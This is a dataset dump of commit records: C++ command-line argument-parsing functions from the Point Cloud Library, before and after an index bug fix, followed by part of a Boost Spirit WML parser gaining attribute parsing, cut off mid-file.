(values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<std::string> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      values.push_back (std::string (argv[i]));\n    }\n  }\n  if (values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_2x_arguments (int argc, char** argv, const char* str, std::vector<double> &values_f, std::vector<double> &values_s)\n{\n  double f, s;\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2)\n      {\n        print_error (\"[parse_multiple_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (false);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      values_f.push_back (f);\n      values_s.push_back (s);\n    }\n  }\n  if (values_f.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_3x_arguments (int argc, char** argv, const char* str,\n                                             std::vector<double> &values_f,\n                                             std::vector<double> &values_s,\n                                             std::vector<double> &values_t)\n{\n  double f, s, t;\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3)\n      {\n        print_error (\"[parse_multiple_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (false);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      t = atof (values.at (2).c_str ());\n      values_f.push_back (f);\n      values_s.push_back (s);\n      values_t.push_back (t);\n    }\n  }\n  if (values_f.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n<commit_msg>bug fix: index was wrong if reading a single int value<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n *  Copyright (c) 2010, Willow Garage, Inc.\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions\n *  are met:\n *\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above\n *     copyright notice, this list of conditions and the following\n *     disclaimer in the documentation and\/or other materials provided\n *     with the distribution.\n *   * Neither the name of Willow Garage, Inc. nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\n *\/\n\n#include <ctype.h>\n#include <stdio.h>\n#include <pcl\/console\/parse.h>\n#include <pcl\/console\/print.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint \npcl::console::find_argument (int argc, char** argv, const char* argument_name)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if (strcmp (argv[i], argument_name) == 0)\n    {\n      return (i);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, std::string &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n  if (index > 0 && index < argc )\n    val = argv[index];\n\n  return index - 1;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, bool &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = (bool)atoi (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, double &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atof (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, int &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atoi (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_argument (int argc, char** argv, const char* str, unsigned int &val)\n{\n  int index = find_argument (argc, argv, str) + 1;\n\n  if (index > 0 && index < argc )\n    val = atoi (argv[index]);\n\n  return (index - 1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::vector<int>\npcl::console::parse_file_extension_argument (int argc, char** argv, const std::string &extension)\n{\n  std::vector<int> indices;\n  for (int i = 1; i < argc; ++i)\n  {\n    std::string fname = std::string (argv[i]);\n    std::string ext = extension;\n\n    \/\/ Needs to be at least 4: .ext\n    if (fname.size () <= 4)\n      continue;\n\n    \/\/ For being case insensitive\n    std::transform (fname.begin (), fname.end (), fname.begin (), tolower);\n    std::transform (ext.begin (), ext.end (), ext.begin (), tolower);\n\n    \/\/ Check if found\n    std::string::size_type it;\n    if ((it = fname.find (ext)) != std::string::npos)\n    {\n      \/\/ Additional check: we want to be able to differentiate between .p and .png\n      if ((ext.size () - (fname.size () - it)) == 0)\n        indices.push_back (i);\n    }\n  }\n  return (indices);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_2x_arguments (int argc, char** argv, const char* str, double &f, double &s, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2 && debug)\n      {\n        print_error (\"[parse_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_2x_arguments (int argc, char** argv, const char* str, int &f, int &s, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2 && debug)\n      {\n        print_error (\"[parse_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atoi (values.at (0).c_str ());\n      s = atoi (values.at (1).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_3x_arguments (int argc, char** argv, const char* str, double &f, double &s, double &t, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3 && debug)\n      {\n        print_error (\"[parse_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      t = atof (values.at (2).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_3x_arguments (int argc, char** argv, const char* str, int &f, int &s, int &t, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3 && debug)\n      {\n        print_error (\"[parse_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (-2);\n      }\n      f = atoi (values.at (0).c_str ());\n      s = atoi (values.at (1).c_str ());\n      t = atoi (values.at (2).c_str ());\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_x_arguments (int argc, char** argv, const char* str, std::vector<double>& v, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n\n      v.resize (values.size ());\n      for (size_t j = 0; j < v.size (); ++j)\n        v[j] = atof (values.at (j).c_str ());\n\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint\npcl::console::parse_x_arguments (int argc, char** argv, const char* str, std::vector<int>& v, bool debug)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n\n      v.resize (values.size ());\n      for (size_t j = 0; j < v.size (); ++j)\n        v[j] = atoi (values.at (j).c_str ());\n\n      return (i - 1);\n    }\n  }\n  return (-1);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<int> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      int val = atoi (argv[i]);\n      values.push_back (val);\n    }\n  }\n  if (values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<double> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      double val = atof (argv[i]);\n      values.push_back (val);\n    }\n  }\n  if (values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_arguments (int argc, char** argv, const char* str, std::vector<std::string> &values)\n{\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      values.push_back (std::string (argv[i]));\n    }\n  }\n  if (values.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_2x_arguments (int argc, char** argv, const char* str, std::vector<double> &values_f, std::vector<double> &values_s)\n{\n  double f, s;\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 2)\n      {\n        print_error (\"[parse_multiple_2x_arguments] Number of values for %s (%d) different than 2!\\n\", str, (int)values.size ());\n        return (false);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      values_f.push_back (f);\n      values_s.push_back (s);\n    }\n  }\n  if (values_f.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool\npcl::console::parse_multiple_3x_arguments (int argc, char** argv, const char* str,\n                                             std::vector<double> &values_f,\n                                             std::vector<double> &values_s,\n                                             std::vector<double> &values_t)\n{\n  double f, s, t;\n  for (int i = 1; i < argc; ++i)\n  {\n    \/\/ Search for the string\n    if ((strcmp (argv[i], str) == 0) && (++i < argc))\n    {\n      \/\/ look for ',' as a separator\n      std::vector<std::string> values;\n      boost::split (values, argv[i], boost::is_any_of (\",\"), boost::token_compress_on);\n      if (values.size () != 3)\n      {\n        print_error (\"[parse_multiple_3x_arguments] Number of values for %s (%d) different than 3!\\n\", str, (int)values.size ());\n        return (false);\n      }\n      f = atof (values.at (0).c_str ());\n      s = atof (values.at (1).c_str ());\n      t = atof (values.at (2).c_str ());\n      values_f.push_back (f);\n      values_s.push_back (s);\n      values_t.push_back (t);\n    }\n  }\n  if (values_f.size () == 0)\n    return (false);\n  else\n    return (true);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/ A WML parser using boost spirit2.\n\/\/ Based heavily on http:\/\/www.boost.org\/doc\/libs\/1_47_0\/libs\/spirit\/example\/qi\/mini_xml2.cpp\n\/\/\/\n\n#define BOOST_SPIRIT_USE_PHOENIX_V3\n\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/phoenix_fusion.hpp>\n#include <boost\/spirit\/include\/phoenix_stl.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/variant\/recursive_variant.hpp>\n#include <boost\/foreach.hpp>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n\nnamespace wml\n{\n\tnamespace fusion = boost::fusion;\n\tnamespace phoenix = boost::phoenix;\n\tnamespace qi = boost::spirit::qi;\n\tnamespace ascii = boost::spirit::ascii;\n\n\ttypedef std::string Str;\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Our WML tree representation\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstruct body;\n\n\ttypedef boost::variant<boost::recursive_wrapper<body>, Str>\n\t\tnode;\n\n\tstruct body\n\t{\n\t\tStr name;\t   \/\/ tag name\n\t\tstd::vector<node> children; \/\/ children\n\t};\n}\n\n\/\/ We need to tell fusion about our mini_xml struct\n\/\/ to make it a first-class fusion citizen\nBOOST_FUSION_ADAPT_STRUCT(\n\twml::body,\n\t(wml::Str, name)(std::vector<wml::node>, children))\n\nnamespace wml\n{\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Print out the mini xml tree\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tint const tabsize = 4;\n\n\tvoid tab(int indent)\n\t{\n\t\tfor(int i = 0; i < indent; ++i)\n\t\t\tstd::cout << ' ';\n\t}\n\n\tstruct body_printer\n\t{\n\t\tbody_printer(int indent = 0)\n\t\t    : indent(indent)\n\t\t{\n\t\t}\n\n\t\tvoid operator()(body const&) const;\n\n\t\tint indent;\n\t};\n\n\tstruct node_printer : boost::static_visitor<>\n\t{\n\t\tnode_printer(int indent = 0)\n\t\t    : indent(indent)\n\t\t{\n\t\t}\n\n\t\tvoid operator()(body const& w) const\n\t\t{\n\t\t\tbody_printer(indent + tabsize)(w);\n\t\t}\n\n\t\tvoid operator()(Str const& text) const\n\t\t{\n\t\t\ttab(indent + tabsize);\n\t\t\tstd::cout << \"text: \\\"\" << text << '\"' << std::endl;\n\t\t}\n\n\t\tint indent;\n\t};\n\n\tvoid body_printer::operator()(body const& w) const\n\t{\n\t\ttab(indent);\n\t\tstd::cout << \"tag: '\" << w.name << \"'\" << std::endl;\n\t\ttab(indent);\n\t\tstd::cout << '{' << std::endl;\n\n\t\tBOOST_FOREACH(node const& n, w.children) {\n\t\t\tboost::apply_visitor(node_printer(indent), n);\n\t\t}\n\n\t\ttab(indent);\n\t\tstd::cout << '}' << std::endl;\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Our mini XML grammar definition\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/[tutorial_xml2_grammar\n\ttemplate <typename Iterator>\n\tstruct wml_grammar\n\t\t: qi::grammar<Iterator, body(), qi::locals<Str>, ascii::space_type>\n\t{\n\t\twml_grammar()\n\t\t    : wml_grammar::base_type(wml)\n\t\t{\n\t\t\tusing qi::lit;\n\t\t\tusing qi::lexeme;\n\t\t\tusing ascii::char_;\n\t\t\tusing ascii::string;\n\t\t\tusing namespace qi::labels;\n\n\t\t\ttext %= lexeme[+(char_ - '[')];\n\t\t\tnode %= wml | text;\n\n\t\t\tstart_tag %= '['\n\t\t\t\t     >> !lit('\/')\n\t\t\t\t     >> lexeme[+(char_ - ']')]\n\t\t\t\t     >> ']';\n\n\t\t\tend_tag = \"[\/\"\n\t\t\t\t  >> string(_r1)\n\t\t\t\t  >> ']';\n\n\t\t\twml %= start_tag[_a = _1]\n\t\t\t       >> *node\n\t\t\t       >> end_tag(_a);\n\t\t}\n\n\t\tqi::rule<Iterator, wml::body(), qi::locals<Str>, ascii::space_type> wml;\n\t\tqi::rule<Iterator, wml::node(), ascii::space_type> node;\n\t\tqi::rule<Iterator, Str(), ascii::space_type> text;\n\t\tqi::rule<Iterator, Str(), ascii::space_type> start_tag;\n\t\tqi::rule<Iterator, void(Str), ascii::space_type> end_tag;\n\t};\n\t\/\/]\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/  Main program\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace wml\n{\n\n\tbool parse(const std::string& storage)\n\t{\n\t\ttypedef wml_grammar<std::string::const_iterator> my_grammar;\n\t\tmy_grammar xml; \/\/ Our grammar\n\t\twml::body ast;  \/\/ Our tree\n\n\t\tusing boost::spirit::ascii::space;\n\t\tstd::string::const_iterator iter = storage.begin();\n\t\tstd::string::const_iterator end = storage.end();\n\t\tbool r = phrase_parse(iter, end, xml, space, ast);\n\n\t\tif(r && iter == end) {\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tstd::cout << \"Parsing succeeded\\n\";\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tbody_printer printer;\n\t\t\tprinter(ast);\n\t\t\treturn true;\n\t\t} else {\n\t\t\tstd::string::const_iterator some = iter + 30;\n\t\t\tstd::string context(iter, (some > end) ? end : some);\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tstd::cout << \"Parsing failed\\n\";\n\t\t\tstd::cout << \"stopped at: \\\": \" << context << \"...\\\"\\n\";\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\treturn false;\n\t\t}\n\t}\n}\n<commit_msg>add attribute parsing<commit_after>\/\/\/\n\/\/ A WML parser using boost spirit2.\n\/\/ Based heavily on http:\/\/www.boost.org\/doc\/libs\/1_47_0\/libs\/spirit\/example\/qi\/mini_xml2.cpp\n\/\/\/\n\n#define BOOST_SPIRIT_USE_PHOENIX_V3\n\n#include <boost\/config\/warning_disable.hpp>\n#include <boost\/spirit\/include\/qi.hpp>\n#include <boost\/spirit\/include\/phoenix_core.hpp>\n#include <boost\/spirit\/include\/phoenix_operator.hpp>\n#include <boost\/spirit\/include\/phoenix_fusion.hpp>\n#include <boost\/spirit\/include\/phoenix_stl.hpp>\n#include <boost\/fusion\/include\/adapt_struct.hpp>\n#include <boost\/fusion\/include\/std_pair.hpp>\n#include <boost\/variant\/recursive_variant.hpp>\n#include <boost\/foreach.hpp>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n\nnamespace wml\n{\n\tnamespace fusion = boost::fusion;\n\tnamespace phoenix = boost::phoenix;\n\tnamespace qi = boost::spirit::qi;\n\tnamespace ascii = boost::spirit::ascii;\n\n\ttypedef std::string Str;\n\ttypedef std::pair<Str, Str> Pair;\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Our WML tree representation\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstruct body;\n\n\ttypedef boost::variant<boost::recursive_wrapper<body>, Pair>\n\t\tnode;\n\n\tstruct body\n\t{\n\t\tStr name;\t   \/\/ tag name\n\t\tstd::vector<node> children; \/\/ children\n\t};\n}\n\n\/\/ We need to tell fusion about 